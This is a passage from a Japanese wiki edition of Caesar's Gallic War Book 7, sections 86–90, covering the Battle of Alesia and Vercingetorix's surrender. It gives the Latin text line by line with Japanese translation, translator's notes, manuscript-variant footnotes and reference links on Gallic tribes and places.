**もし（塁壁の防衛が）持ちこたえられなかったならば、諸大隊を引率して突撃によって戦うように、と命令していた。
*id nisi necessario ne faciat. 
**それは、やむをえないのでなければ行なわないように（と命じていた）。
*③　Ipse adit reliquos, cohortatur ne labori succumbant; 
**（カエサル）自身は、ほかの者たちを訪れて、労苦に屈服しないようにと鼓舞した。
*omnium superiorum dimicationum fructum in eo die atque hora docet consistere. 
**これまでのあらゆる奮闘の結実がこの日、この時にかかっていることを説いた。
*④　Interiores desperatis campestribus locis propter magnitudinem munitionum 
**（アレスィアに包囲されている）内側の者たちは、塁壁の大規模さのために、平坦な地点（での突破）を断念して、
*loca praerupta ex ascensu temptant; 
**けわしい場所を登り坂から攻撃してみた。
*huc ea quae paraverant conferunt. 
**ここに、準備していたものを運び集めた。
*⑤　Multitudine telorum ex turribus propugnantes deturbant, 
**たくさんの飛び道具によって、防戦している者たちを櫓から駆逐した。
*aggere et cratibus fossas explent, 
**土砂や柴で堀を埋めて、
*falcibus vallum ac loricam rescindunt.
**破城鎌によって防柵や胸壁を切り裂いた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：falx「破城鎌」については、[[ガリア戦記 第5巻#42節|第5巻42節]]を参照。）&lt;/span&gt;

===87節===
'''カエサルの救援、ラビエーヌスの作戦'''
*①　Mittit primo&lt;ref&gt;primo はφ系･ρ系写本の記述で、χ系･π系写本では primum となっている。&lt;/ref&gt; [[w:la:Decimus Iunius Brutus Albinus|Brutum adulescentem]] cum cohortibus Caesar, 
**カエサルは、初めに[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|青年ブルトゥス]]を諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;とともに派遣して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：デキムス・ブルトゥスには[[ガリア戦記 第3巻#14節|第3巻14節]]で艦隊を、本巻[[#9節|9節]]②項では騎兵隊を指揮させている。）&lt;/span&gt;
*post cum aliis C.(Gaium) Fabium legatum; 
**後に副官のガイウス・ファビウスをほかの隊とともに（派遣した）。
*postremo ipse, cum vehementius pugnaretur, 
**最後には（カエサル）自身が、激しく戦われていたので、
*integros subsidio adducit. 
**新手の者たちを援兵として率いて行った。
*②　Restituto proelio ac repulsis hostibus 
**戦況が回復され、敵方が撃退されると、
*eo quo Labienum miserat contendit; 
**ラビエーヌスを派遣していたところに急いだ。
*cohortes IIII(quattuor) ex proximo castello deducit, 
**近隣の砦から4個歩兵大隊を引き出して、
*equitum partem se&lt;ref&gt;se はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; sequi, 
**[[w:騎兵|騎兵]]のある一部には、自らに随行することを、
*partem circumire exteriores munitiones et ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tergo hostes adoriri iubet. 
**別の一部には、外側の塁壁を取り囲んで、敵方を背後から襲撃することを命じた。
*③　Labienus, postquam neque aggeres neque fossae vim hostium sustinere poterant, 
**ラビエーヌスは、土塁も堀も敵方の武力に持ちこたえることができなかった後で、
*coactis una XL(quadraginta) cohortibus, quas ex proximis praesidiis deductas fors obtulit, 
**近隣の宿営地から、はからずも引き出しておいた40個歩兵大隊を集結させて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この数は、写本によって異なり、モイゼルらは undecim「11個」と提案している。）&lt;/span&gt;
*Caesarem per nuntios facit certiorem, quid faciendum existimet. 
**何がなされるべきと考えたのかを、カエサルに伝令を通じて報告した。
*Accelerat Caesar, ut proelio intersit.
**カエサルは、戦闘（の場）に居合わせるように急いで行った。

===88節===
'''雌雄決し、ガッリア来援軍が敗走'''
*①　Eius adventu ex colore vestitus cognito, quo insigni in proeliis uti consuerat, 
**彼（カエサル）の到来が、（彼が）戦闘において目印として用いるのが常であった衣服の色から認識され、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは、真紅の外套を着用していたようである。）&lt;/span&gt;
*turmisque equitum et cohortibus visis quas se sequi iusserat, 
**（カエサルが）自らに随行することを命じていた諸&lt;ruby&gt;&lt;rb&gt;[[w:騎兵|騎兵]]小隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥルマ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が望見されて、
*ut de locis superioribus haec declivia et devexa cernebantur, 
**（ウェルカッスィウェッラウヌスらが派遣された）高地から、これらの斜面や急坂が見分けられたので、
*hostes proelium committunt. 
**敵方（ガッリア勢）は戦端を開いた。
*②　Utrimque clamore sublato 
**（ガッリア来援軍とアレスィア籠城軍の）双方から雄叫びが上げられて、
*excipit rursus ex vallo atque omnibus munitionibus clamor. 
**さらに、防柵やすべての塁壁から（ローマ勢の）雄叫びが続いた。
*Nostri omissis pilis gladiis rem gerunt. 
**我が方（ローマ勢）は&lt;ruby&gt;&lt;rb&gt;[[w:ピルム|投槍]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を放棄して、&lt;ruby&gt;&lt;rb&gt;[[w:グラディウス (武器)|長剣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;グラディウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で合戦した。
*③　Repente post tergum equitatus cernitur; 
**不意に（ガッリア勢の）背後に（ローマ勢の）騎兵隊が見分けられた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：87節②項で、カエサルは騎兵隊に外壁を迂回して敵を背後から襲撃するように命じていた。）&lt;/span&gt;
*cohortes aliae adpropinquant. 
**別の諸&lt;ruby&gt;&lt;rb&gt;歩兵大隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も接近して来た。
*Hostes terga vertunt; 
**敵方（ガッリア勢）は、（ローマ勢に）背を向けた。
*fugientibus equites occurrunt. 
**逃げる者たち（ガッリア勢）を（ローマ勢の）騎兵たちが追撃した。
*Fit magna caedes. 
**大虐殺が起こった。
*④　Sedullus, dux et princeps Lemovicum, occiditur; 
**レモウィケス族の将帥で領袖であるセドゥッルスが斃された。
*[[w:la:Vercassivellaunus|Vercassivellaunus]] Arvernus vivus in fuga comprehenditur; 
**[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌスは逃亡中に生きたまま捕らえられた。
*signa militaria LXXIIII(septuaginta quattuor) ad Caesarem referuntur; 
**（ガッリア勢の）74本の軍旗がカエサルのところへ運んで来られた。
*pauci ex tanto numero se incolumes&lt;ref&gt;se incolumes はα系写本の記述で、β系写本では incolumes se となっている。&lt;/ref&gt; in castra recipiunt. 
**これほどの兵数のうち、わずかな者たち（だけ）が無傷のまま陣営に退却した。
*⑤　Conspicati ex oppido caedem et fugam suorum 
**（アレスィアの）[[w:オッピドゥム|城塞都市]]から味方の虐殺や逃亡を視認した者たちは、
*desperata salute copias a munitionibus reducunt. 
**身の安全に絶望して、軍勢を塁壁から（城塞都市に）呼び戻した。
*⑥　Fit protinus hac re audita ex castris Gallorum fuga. 
**この事態が聞かれるとただちに、（来援に来ていた）ガッリア人たちの陣営から逃亡が生じた。
*Quodnisi crebris subsidiis ac totius diei labore milites essent defessi, 
**もし、たびたびの（味方への）支援や一日中の働きにより兵士たちが疲れ果てていなかったならば、
*omnes hostium copiae deleri potuissent. 
**敵方（ガッリア来援軍）の全軍勢が壊滅させられることが可能であっただろう。
*⑦　De media nocte missus equitatus novissimum agmen consequitur; 
**真夜中の頃に、派遣されていた（ローマ勢の）騎兵隊が（ガッリア勢の）後衛に追いついて、
*magnus numerus capitur atque interficitur; 
**（ガッリア勢の）大多数が捕らえられ、かつ殺戮された。
*reliqui ex fuga in civitates discedunt.
**（ガッリア来援軍の）残りの者たちは、逃亡して諸部族のところに逃げのびた。

==ガッリア同盟軍主力の降伏==
===89節===
[[画像:Vercingétorix se rend à César 1886 HPMotte.jpg|thumb|right|330px|「カエサルの陣営に投降するウェルキンゲトリークス」&lt;br&gt;“Vercingétorix se rendant au camp de César”、&lt;br&gt;アンリ＝ポール・モット（[[w:fr:Henri-Paul_Motte|Henri-Paul Motte]]）画、1886年。&lt;br&gt;[[w:ル・ピュイ＝アン＝ヴレ|ル・ピュイ=アン=ヴレ]]のクロザティエ美術館（[[w:fr:Musée Crozatier au Puy-en-Velay|Musée Crozatier]] au [[w:fr:Le Puy-en-Velay|Puy-en-Velay]]）蔵。]]
[[画像:Lionel Royer - Vercingetorix Throwing down His Weapons at the feet of Julius Caesar.jpg|thumb|right|330px|「ウェルキンゲトリークスが彼の武器をユリウス・カエサルの足元に投げ捨てる」“Vercingétorix jette ses armes aux pieds de Jules César”、リオネル＝ノエル・ロワイエ（[[w:fr:Lionel Royer|Lionel-Noël Royer]]）
画、1899年。[[w:ル・ピュイ＝アン＝ヴレ|ル・ピュイ=アン=ヴレ]]のクロザティエ美術館（[[w:fr:Musée Crozatier au Puy-en-Velay|Musée Crozatier]] au [[w:fr:Le Puy-en-Velay|Puy-en-Velay]]）蔵。]]
[[画像:Coin_Vercingetorix.jpg|thumb|right|300px|ローマがBC48年に発行した[[w:デナリウス|デナリウス銀貨]]。ウェルキンゲトリークスの横顔が刻まれているとも言われ、[[w:マメルティヌスの牢獄|トゥッリアヌム牢獄]]に虜囚となっているかつてのガッリアの盟主を見せしめにしたものとも考えられる。彼はBC46年に処刑されたが、カエサルもBC44年に暗殺された。]]
'''ウェルキンゲトリークスとアレスィア籠城軍の降伏'''
*①　Postero die [[w:la:Vercingetorix|Vercingetorix]] concilio convocato 
**（来援軍が敗走した）翌日に、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は会合を召集して、
*id bellum se suscepisse&lt;ref&gt;se suscepisse はα系写本の記述で、β系写本では suscepisse se となっている。&lt;/ref&gt; 
**この戦争を引き受けたことは
*non suarum necessitatum&lt;ref&gt;necessitatum はχ系･S･L･N･β系写本の記述で、B･M写本では necessitatium となっている。&lt;/ref&gt;, sed communis libertatis causa demonstrat, 
**自らの（野心の）必要性からではなく、（ガッリア）共通の自由のためだ、と明言した。
*②　et quoniam sit fortunae cedendum, 
**運命には従うべきものなのであるから、
*ad utramque rem se illis offerre, 
**（敗軍の将として、以下の）どちらの事にも、自ら（の処遇）を彼ら（ガッリア人たち）に委ねよう。
*seu morte sua Romanis satisfacere 
**あるいは（ウェルキンゲトリークス）自らの死によってローマ人たちに償うこと（を欲する）にせよ、
*seu vivum tradere velint. 
**あるいは生きたまま（ローマ人たちに）引き渡すことを欲するにせよ、と。
*③　Mittuntur de his rebus ad Caesarem legati. 
**これらの事柄について、カエサルのところへ使節たちが遣わされた。
*Iubet arma tradi, principes produci. 
**（カエサルは）武器が引き渡されること、領袖たちが連行されて来ることを命じた。
*④　Ipse in munitione pro castris consedit; 
**（カエサル）自身は、陣営の前の塁壁のところに腰掛けた。
*eo duces producuntur. 
**そこに（アレスィアに籠城していた）将帥たちが連行されて来た。
*Vercingetorix deditur, arma proiciuntur. 
**ウェルキンゲトリークスが引き渡されて、武器が投げ捨てられた。
*⑤　Reservatis [[w:la:Haedui|Haeduis]] atque Arvernis, 
**（カエサルは）[[w:ハエドゥイ族|ハエドゥイー族]]と[[w:アルウェルニ族|アルウェルニー族]]（の将兵たち）を保持しておいた。
*si per eos civitates reciperare&lt;ref&gt;reciperare はχ系･B&lt;sup&gt;1&lt;/sup&gt;･S･U写本の記述で、B&lt;sup&gt;c&lt;/sup&gt;･M･L･N･π系･R写本では recuperare となっている。&lt;/ref&gt; posset, 
**彼らによって両部族国家を（同盟国として）回復できないだろうかと（考えたのだ）。
*ex reliquis captivis toto exercitui capita singula praedae nomine distribuit.
**残りの（諸部族の）捕虜たちから、全軍（のローマ人）に一名ずつを戦利品という名目で分配した。

===90節===
[[画像:Autun_porte_Saint-André.JPG|thumb|right|300px|[[w:オータン|オータン市]]に遺されたローマ時代からの聖アンドレ門。[[w:ビブラクテ|ビブラクテ]]を首邑としていた[[w:ハエドゥイ族|ハエドゥイー族]]は、ローマ帝政初期に東方の平地に移り、「[[w:アウグストゥス|アウグストゥス]]の砦」を意味するアウグストドゥーヌム（[[w:la:Augustodunum|Augustodunum]]）を建設して首邑とした。これが現在のオータン（Autun）となっている。]]
[[画像:Clermont_vu_de_Montjuzet.JPG|thumb|right|300px|[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]の街並み。ローマに降伏した[[w:アルウェルニ族|アルウェルニー族]]は、後に首邑のゲルゴウィアを廃城とされ、北方の平野にあるネメトゥム（Nemetum）に移住させられた。帝政初期に[[w:アウグストゥス|アウグストゥス]]に由来するアウグストネメトゥム（[[w:la:Augustonemetum|Augustonemetum]]）に改称して、[[w:クレルモン教会会議|クレルモン教会会議]]が開かれるなど宗教的中心地として栄え、現在のクレルモン＝フェランに至る。]]
'''ハエドゥイー族とアルウェルニー族の降伏、諸軍団の冬営'''
*①　His rebus confectis in [[w:la:Haedui|Haeduos]] proficiscitur; 
**これらの事が成し遂げられて、（カエサルは）[[w:ハエドゥイ族|ハエドゥイー族]]のところに出発した。
*civitatem recipit. 
**同部族を（同盟国として）回復した。
*②　Eo legati ab Arvernis missi: 
**そこに、[[w:アルウェルニ族|アルウェルニー族]]から使節たちが遣わされて来て、
*quae imperaret, se facturos pollicentur. 
**自分たちは（カエサルが）命令したことを行なうであろう、と約束した。
*Imperat magnum numerum obsidum. 
**（カエサルは）多数の人質（の供出）を命令した。
*③　Legiones in hiberna mittit. 
**（カエサルは）諸[[w:ローマ軍団|軍団]]を冬営地に派遣した。
*Captivorum circiter XX(viginti) milia Haeduis Arvernisque reddit. 
**捕虜たち約2万人をハエドゥイー族とアルウェルニー族に返還した。
*④　[[w:la:Titus Labienus|T.&lt;small&gt;(Titum)&lt;/small&gt; Labienum]] duabus cum&lt;ref&gt;duabus cum はχ系･B･M･S写本の記述で、L･N･β系写本では cum duabus となっている。&lt;/ref&gt; legionibus et equitatu in Sequanos proficisci iubet; 
**[[w:ティトゥス・ラビエヌス|ティトゥス・ラビエーヌス]]を2個軍団および[[w:騎兵|騎兵隊]]とともにセクアニ族のところに出発することを命じた。
*huic M.&lt;small&gt;(Marcum)&lt;/small&gt; Sempronium Rutilum attribuit. 
**彼には、マルクス・[[w:センプロニウス氏族|センプロニウス]]・ルティルスを付属させた。
*⑤　C.&lt;small&gt;(Gaium)&lt;/small&gt; Fabium legatum et L.&lt;small&gt;(Lucium)&lt;/small&gt; Minucium Basilum cum legionibus duabus in Remis conlocat, 
**副官 ガーイウス・ファビウスとルキウス・ミヌキウス・バスィルスを2個軍団とともにレーミー族のところに配置した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：バスィルスは[[ガリア戦記 第6巻#29節|第6巻29節]]で騎兵隊を指揮した。）&lt;/span&gt;
*ne quam ab&lt;ref&gt;ab はφ系写本の記述で、χ系･β系写本では a となっている。&lt;/ref&gt; finitimis Bellovacis calamitatem accipiant. 
**（レーミー族が）近隣のベッロウァキ族から何らかの災禍を蒙らないようにしたのである。
*⑥　C.&lt;small&gt;(Gaium)&lt;/small&gt; Antistium Reginum in Ambivaretos, 
**ガーイウス・アンティスティウス・レーギーヌスをアンビウァレティ族のところに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Caius Antistius Reginus|Gaius Antistius Reginus]]'' は[[ガリア戦記_第6巻#1節|第6巻1節]]、[[#83節|本巻83節]]で既出。）&lt;/span&gt;
*T.&lt;small&gt;(Titum)&lt;/small&gt; Sextium in Bituriges, 
**ティトゥス・セクスティウスをビトゥリゲース族のところに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:en:Titus Sextius|Titus Sextius]] も[[ガリア戦記_第6巻#1節|第6巻1節]]で既出。第6巻の年からカエサルの副官、&lt;br&gt;　　　　　[[w:三頭政治#第二回三頭政治|第二回三頭政治]]では[[w:アフリカ属州|アフリカ属州]]の総督を務め、[[w:マルクス・アエミリウス・レピドゥス|レピドゥス]]に引き継ぐ。）
*C.&lt;small&gt;(Gaium)&lt;/small&gt; Caninium Rebilum in Rutenos cum singulis legionibus mittit. 
**ガーイウス・カニニウス・レビルスをルテーニー族のところに、それぞれ1個軍団とともに派遣した。
*⑦　[[w:la:Quintus Tullius Cicero|Q.&lt;small&gt;(Quintum)&lt;/small&gt; Tullium Ciceronem]] et P.&lt;small&gt;(Publium)&lt;/small&gt; Sulpicium 
**[[w:クィントゥス・トゥッリウス・キケロ|クィーントゥス・トゥッリウス・キケロー]]とプーブリウス・スルピキウス（・ルーフス）を
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：カエサルの副官 ''[[w:en:Sulpicia_gens#Sulpicii_Rufi|Publius Sulpicius Rufus]] は、&lt;br&gt;　　　　[[ガリア戦記_第4巻#22節|第4巻22節]]で既述。[[内乱記_第1巻#74節|『内乱記』第1巻74節]]でも言及される。&lt;br&gt;　　　　[[w:紀元前48年|BC48年]]に[[w:プラエトル|法務官]]、[[w:紀元前42年|BC42年]]に[[w:ケンソル|監察官]]に任官する。）&lt;/span&gt;
*[[w:la:Cabillonum|Cavilloni]]&lt;ref&gt;Cavilloni はβ系写本の記述で、α系写本などでは Cabilloni となっている。&lt;/ref&gt; et [[w:la:Matisco|Matiscone]] in Haeduis ad Ararim rei frumentariae causa conlocat. 
**ハエドゥイー族のところのアラル川沿いのカウィッロヌムとマティスコに、糧秣調達のために配置した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カウィッロヌムは現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]、マティスコは現在の[[w:マコン|マコン]]。）&lt;/span&gt;
*Ipse [[w:la:Bibracte|Bibracte]] hiemare constituit. 
**（カエサル）自身は、[[w:ビブラクテ|ビブラクテ]]で冬営することを決めた。
*⑧　His litteris&lt;ref&gt;his litteris「これらが書簡により（知られると）」はα系写本の記述で、β系写本では huius anni rebus「この年の事績が（知られると）」と異なっており、huius anni rebus &lt;ex Caesaris&gt; litteris「この年の事績が＜カエサルの＞書簡により（知られると）」 などと修正提案されている。」&lt;/ref&gt; cognitis Romae dierum viginti supplicatio redditur.
**これらが（カエサルの）書簡により知られると、ローマで20日間の感謝祭が許された。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第2巻#35節|第2巻35節]]では、かつてない15日間の感謝祭が決議されたが、今回はそれを超えるものであった。）&lt;/span&gt;
----
*&lt;span style=&quot;background-color:#99ff99;&quot;&gt;「ガリア戦記 第7巻」了。「[[ガリア戦記 第8巻]]」へ続く。&lt;/span&gt;

==脚注==
&lt;references /&gt;
==参考リンク==
'''ウィキペディア英語版など'''
*'''[[w:en:Category:Tribes of ancient Gaul|Category:Tribes of ancient Gaul]]'''（'''[[w:Category:ガリアの部族|Category:ガリアの部族]]'''）- [[w:fr:Catégorie:Personnalité gauloise|fr:Catégorie:Personnalité gauloise]]
**[[w:en:Allobroges|Allobroges]]（アッロブロゲス族）
**'''[[w:en:Arverni|Arverni]]'''（'''[[w:アルウェルニ族|アルウェルニー族]]'''）
**:'''[[w:en:Vercingetorix|Vercingetorix]]'''（'''[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Vercingetorix|la:Vercingetorix]]&lt;/span&gt;'''
**:[[w:fr:Celtillos|fr:Celtillos]]（ケルティッルス）；ウェルキンゲトリークスの父
**:[[w:fr:Gobannitio|fr:Gobannitio]]（ゴバンニティオ）；ウェルキンゲトリークスのおじ
**:[[w:en:Vercassivellaunos|Vercassivellaunos]]（ウェルカッスィウェッラウヌス） - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Vercassivellaunus|la:Vercassivellaunus]]&lt;/span&gt;
**:Critognatus（クリトグナトゥス）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Critognatus|la:Critognatus]]&lt;/span&gt;
**[[w:en:Atrebates|Atrebates]]（アトレバテス族）
**:[[w:en:Commius|Commius]]（[[w:コンミウス|コンミウス]]）：ガッリアとブリタンニアにおけるアトレバテス族の王
**[[w:en:Aedui|Aedui]]（[[w:ハエドゥイ族|ハエドゥイー族]]）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Haedui|la:Haedui]]&lt;/span&gt;'''；ガッリア中部の有力部族 - [[w:fr:Éduens|fr:Éduens]] ＜[[w:fr:Catégorie:Éduens|fr:Catégorie:Éduens]]
**:[[w:en:Convictolitavis|Convictolitavis]]（コンウィクトリタウィス）- [[w:fr:Convictolitavis|fr:Convictolitavis]]
**:[[w:fr:Cotos|fr:Cotos]]（コトゥス）
**:[[w:fr:Litaviccos|fr:Litaviccos]]（リタウィックス）
**:エポレドリクス - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Eporedorix|la:Eporedorix]]&lt;/span&gt;
**:ウィリドマルス
**[[w:en:Andes (Andecavi)|Andes (Andecavi)]]（アンデス族）；現在の[[w:アンジェ|アンジェ]]（Angers）周辺の部族
**[[w:en:Aulerci|Aulerci]]（アウレルキ族）；現在のフランス北西部に居住していた部族連合
**[[w:en:Bellovaci|Bellovaci]]（ベッロウァキ族）
**[[w:en:Bituriges|Bituriges]]（ビトゥリゲース族）；現在の[[w:ブールジュ|ブールジュ]]（Bourges）周辺の部族。[[#5節|5節]]でガッリア同盟軍に寝返る。
**[[w:en:Boii|Boii]]（ボイイ族）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Boii|la:Boii]]&lt;/span&gt;；[[w:ボヘミア|ボヘミア]]（[[w:la:Bohemia|la:Bohemia]]）から移住してきた部族
**Cadurci（カドゥルキー族）；現在の[[w:カオール|カオール]]（Cahors）周辺の部族 - [[w:fr:Cadurques|fr:Cadurques]]
**:[[w:en:Lucterius|Lucterius]]（ルクテリウス）；カドゥルキー族の指導者、[[#5節|5節]]を参照。
**[[w:en:Carnutes|Carnutes]]（カルヌーテース族）；現在の[[w:シャルトル|シャルトル]]（Chartres）周辺の部族
**[[w:en:Gabali|Gabali]]（ガバリ族）
**Haedui ⇒ Aedui
**[[w:en:Helvii|Helvii]]（ヘルウィイ族）；ガッリア南部にいたローマの同盟部族
**[[w:en:Lemovices|Lemovices]]（レモウィケス族）；現在の[[w:リモージュ|リモージュ]]（Limoges）周辺の部族
**:[[w:en:Sedullos|Sedullos]]（セドゥッルス　Sedullus）；レモウィケス族の将帥・領袖
**[[w:en:Lingones|Lingones]]（リンゴネス族）- [[w:fr:Lingons|fr:Lingons]]；現在のラングル（[[w:en:Langres|Langres]]）周辺の部族
**[[w:en:Mandubii|Mandubii]]（マンドゥビイ族）；[[w:アレシア|アレスィア]]周辺にいた部族
**Nitiobroges（ニティオブロゲス族）- [[w:fr:Nitiobroges|fr:Nitiobroges]]
**:[[w:fr:Ollovico|fr:Ollovico]]（オッロウィコ）；ローマ元老院から友人と呼ばれた王
**:[[w:fr:Teutomatos|fr:Teutomatos]]（テウトマトゥス）；王で、オッロウィコの子
**[[w:en:Parisii (Gaul)|Parisii (Gaul)]]（[[w:パリシイ族|パリスィイ族]]）；現在の[[w:パリ|パリ]]周辺の部族
**[[w:en:Pictones|Pictones]]（ピクトネス族）；現在の[[w:ポワチエ|ポワティエ]]（Poitiers）周辺の部族
**[[w:en:Remi|Remi]]（レーミー族）
**[[w:en:Ruteni|Ruteni]]（ルテーニー族）
**[[w:en:Segusiavi|Segusiavi]]（セグスィアウィ族）
**[[w:en:Senones|Senones]]（セノネース族）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Senones|la:Senones]]&lt;/span&gt;；現在の[[w:サン (ヨンヌ県)|サン]]（Sens）周辺の部族
***[[w:en:Acco|Acco]]（アッコー）
**[[w:en:Sequani|Sequani]]（セクアニ族）
**[[w:en:Treveri|Treveri]]（トレウェリ族）
**[[w:en:Turones|Turones]]（トゥロニ族／トゥロネス族）；現在の[[w:トゥール (アンドル＝エ＝ロワール県)|トゥール]]（Tours）周辺の部族
**[[w:en:Volcae|Volcae]]（ウォルカエ族）
*&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Germani|la:Germani]]&lt;/span&gt;（ゲルマニア人）


*'''ガッリアの地名''' - '''[[w:la:Categoria:Urbes Franciae|la:Categoria:Urbes Franciae]]'''（フランスの都市）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Agedincum|la:Agedincum]]&lt;/span&gt;（アゲディンクム）；現在の[[w:サンス|サンス]]（[[w:en:Sens|Sens]]）
**[[w:en:Alesia_(city)|Alesia (city)]]（[[w:アレシア|アレスィア]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Alesia|la:Alesia]]&lt;/span&gt;：現在のアリーズ＝サント＝レーヌ（[[w:fr:Alise-Sainte-Reine|fr:Alise-Sainte-Reine]]）
**:'''[[w:en:Battle_of_Alesia|Battle of Alesia]]'''（'''[[w:アレシアの戦い|アレスィアの戦い]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Alesiae_pugna|la:Alesiae pugna]]&lt;/span&gt;'''
**[[w:en:Avaricum|Avaricum]] ⇒ [[w:en:Bourges|Bourges]]（アウァーリクム - 現在の[[w:ブールジュ|ブールジュ]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Avaricum_Biturigum|la:Avaricum Biturigum]]&lt;/span&gt;
**[[w:en:Bibracte|Bibracte]]（[[w:ビブラクテ|ビブラクテ]]） - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Bibracte|la:Bibracte]]&lt;/span&gt;：[[w:ハエドゥイ族|ハエドゥイー族]]の首邑。現在のボーヴレ山（[[w:fr:Mont_Beuvray|fr:Mont Beuvray]]）の山頂に位置していた。
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Cabillonum|la:Cabillonum]]&lt;/span&gt;（カビッロヌム／カウィッロヌム）- 現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]（[[w:fr:Chalon-sur-Saône|fr:Chalon-sur-Saône]]）
**[[w:en:Cenabum|Cenabum]]（ケナブム）- 現在の[[w:オルレアン|オルレアン]] - [[w:fr:Cenabum|fr:Cenabum]]
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Decetia|la:Decetia]]&lt;/span&gt;（デケティア）- [[w:en:Decize|en:Decize]] - 現在のドスィーズ（ドシーズ）（[[w:fr:Decize|fr:Decize]]）
**[[w:en:Gergovie|Gergovie]]（ゲルゴウィア）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Gergovia|la:Gergovia]]&lt;/span&gt;
**:'''[[w:en:Battle of Gergovia|Battle of Gergovia]]'''（'''[[w:ゲルゴウィアの戦い|ゲルゴウィアの戦い]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Obsidio Gergoviensis|la:Obsidio Gergoviensis]]&lt;/span&gt;'''
**[[w:en:Gorgobina|Gorgobina]]（ゴルゴビナ）；ボイイ族が定住した城塞都市。現在のサン＝パリズ＝ル＝シャテル（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）またはラ・ゲルシュ（[[w:en:La Guerche|La Guerche]]）
**'''[[w:en:Lutetia|Lutetia]]'''（'''[[w:ルテティア|ルテティア]]'''／ルテキア）；[[w:パリシイ族|パリスィイ族]]の首邑、現在の[[w:パリ|パリ市]] - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Lutetia|la:Lutetia]]&lt;/span&gt;
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Matisco|la:Matisco]]&lt;/span&gt;（マティスコ）；現在の[[w:マコン|マコン]]（Mâcon）
**Metlosenum（メトロセドゥム／メティオセドゥム／メロドゥーヌム）；現在の[[w:ムラン|ムラン]] - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Melodunum|la:Melodunum]]&lt;/span&gt;
**[[w:en:Narbonne|Narbonne]]（[[w:ナルボンヌ|ナルボンヌ]]；ラテン名ナルボ）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Narbo|la:Narbo]]&lt;/span&gt;；ガッリア南部・地中海岸のローマの拠点
**[[w:en:Noviodunum|Noviodunum]]（ノウィオドゥーヌム）- 現在のヌン＝スュル＝ブーヴロン（[[w:en:Neung-sur-Beuvron|Neung-sur-Beuvron]]）と推定されている。従来はローヌ川沿いの[[w:サンセール|サンセール]]（[[w:en:Sancerre|Sancerre]]）が有力だった
